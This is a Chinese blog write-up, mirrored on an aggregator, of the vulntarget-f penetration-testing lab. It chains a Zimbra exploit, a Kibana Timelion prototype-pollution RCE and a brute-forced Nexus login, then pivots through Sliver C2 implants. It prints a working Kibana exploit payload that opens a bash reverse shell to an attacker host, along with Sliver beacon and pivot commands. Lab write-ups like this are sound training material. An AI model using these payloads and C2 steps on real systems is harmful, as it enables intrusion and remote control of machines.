5

Sliver C2 实战 vulntarget-f - lockly

 7 months ago
source link: https://www.cnblogs.com/bktown/p/18011725/f-x8ydl
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
host ip1 ip2
ubuntu(自用) 192.168.130.14 /
centos 192.168.130.3 10.0.10.2
ubuntu1 10.0.10.3 10.0.20.2
ubuntu2 10.0.20.3 /

开放了很多端口,优先从web入手。

image


fscan 过一遍网站指纹,发现可能可以利用xxe。

image

zimbra cmk​​

去看443端口是一个名为zimbra​的cms。

image


在msf中搜到有可以利用的模块设置好参数run,稳定的情况下直接获得一个shell。

image

上线sliver

sliver生成配置文件,待会生成beacon,session一断开就无了。

bash
profiles new beacon --mtls 192.168.130.14 --os linux --format elf --skip-symbols --seconds 5 --jitter 3 linux-beacon

image


开启web服务后下载生成的马子,赋权运行上线。

image


interactive​派生一个新的session会话,可以看到还有第二个子网。

image

尝试一下提权,traitor来提权,提示可以使用CVE-2022-0847​。

image


但是失败了,此路不通。

image


传searchall上来搜搜有没有root的密码,将导出的结果下载下来,全局搜索可以找到类似登录的凭据root:vulntarget-f​,可以成功登录上。

image

没提权也不影响,先挂起代理,/etc/proxychains.conf​中添加一行 socks5 127.0.0.1 1081​。

image


上fscan直接扫,-hn过滤掉当前的机器和自己的物理机,发现了10.0.10.3​这个机器,似乎有未授权可以利用。

image


看看9200这个端口,有一些json数据。不过目前用起来sliver的代理还是很稳定的,比msf好多了,但是说回来没有什么特别的利用点。

image


再次进行端口扫描,这次指定一下从21开始到最大65535来扫就不会错过重要的,就发现了5601这个端口。

image

kibana rce

访问5601,是个名为kibana​的后台管理。

image


确认版本号,与复现的环境一样存在漏洞。

image


漏洞在timelion​这里,填入exp:

javascript
.es().props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.0.10.2/6666 0>&1\'");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

因为这台机器不出网,所以在外网cento os上nc -lvvp 6666​建立监听,之后再访问canvas​,过一会就会获得到shell了。这个很稳定断开了再开机监听还是会会连获得shell。

image

为了更稳定的控制决定转移到sliver上继续操作。因为这台机器不出网,所以在外网机器的session中开启pivots​建立中转,指定参数--tcp-pivot​同时生成implant。

bash
(UNAWARE_SPECIALIST) » pivots tcp --bind 10.0.10.2

[*] Started tcp pivot listener 10.0.10.2:9898 with id 1

 (UNAWARE_SPECIALIST) » pivots

 ID   Protocol   Bind Address     Number Of Pivots 
==<span style="font-weight: bold;" class="mark"> </span>======<span style="font-weight: bold;" class="mark"> </span>============<span style="font-weight: bold;" class="mark"> </span>================
  1   TCP        10.0.10.2:9898                  0 

 (UNAWARE_SPECIALIST) » generate beacon --tcp-pivot 10.0.10.2:9898 --os linux --format elf --skip-symbols 

[*] Generating new linux/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 13s
[*] Implant saved to /home/lockly/karplin/CHIEF_PENALTY

 (UNAWARE_SPECIALIST) » 

在外网的cento os上用python开起web服务(注意他是python2),但是当前的目录权限不足,迁移到/tmp​目录下下载。

image


下载成功之后赋权执行没有反应,官网上说仅仅支持session​,而我前面生成的时候指定了是beacon,去掉beacon重新生成,其他的和上面一样。

image


再次开启web服务,供内网机器10.0.10.3下载后赋权运行,获取到session会话。

image

还是先尝试一下提权,传traitor上去执行,但还试了还是不行。

image

无伤大雅,继续向内网横向,发现还存在一个网段。

bash
 (ELEGANT_SEWER) » 
 (ELEGANT_SEWER) » ifconfig

+--------------------------------------+
| ens32                                |
+--------------------------------------+
| # | IP Addresses | MAC Address       |
+---+--------------+-------------------+
| 2 | 10.0.10.3/24 | 00:0c:29:f0:f4:ca |
+--------------------------------------+

+--------------------------------------+
| ens35                                |
+--------------------------------------+
| # | IP Addresses | MAC Address       |
+---+--------------+-------------------+
| 3 | 10.0.20.2/24 | 00:0c:29:f0:f4:d4 |
+--------------------------------------+
1 adapters not shown.

还是传fscan上去扫这个网段的存活主机和存在的服务,得到有一个10.0.20.3​机器。

image


再次对这台机器详细扫一下端口,结果还是这两个,8081这个站的标题为 Nexus Respository Manager​。

image


浏览器挂上新开的代理:

image


继续访问这台机器的8081端口,这里加载就要很久。

image

加载完之后如下:没有可以利用的地点,去搜了一下利用的方式需要先登录。

image


尝试在登录的地方用burpsuite爆破一下。

image


使用凭据admin:abcdef​成功登录后台。

image


在gayhub搜索相关的利用脚本,用这个脚本一键拿下shell,直接就是root权限。不过这次挂上代理不太稳定,最好是关掉socks重新开一下。

image


在内网机器上再次创建tcp中转,生成implant,然后python开启web服务,不同于外网机器,这台机器中的环境是python3,要用python -m http.server 8000​。

bash
generate --tcp-pivot 10.0.20.2:9898 --os linux --format elf --skip-symbols

image


至此三台机器全部上线,查找一下有没有flag。

image


flag如下:

image

__EOF__


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK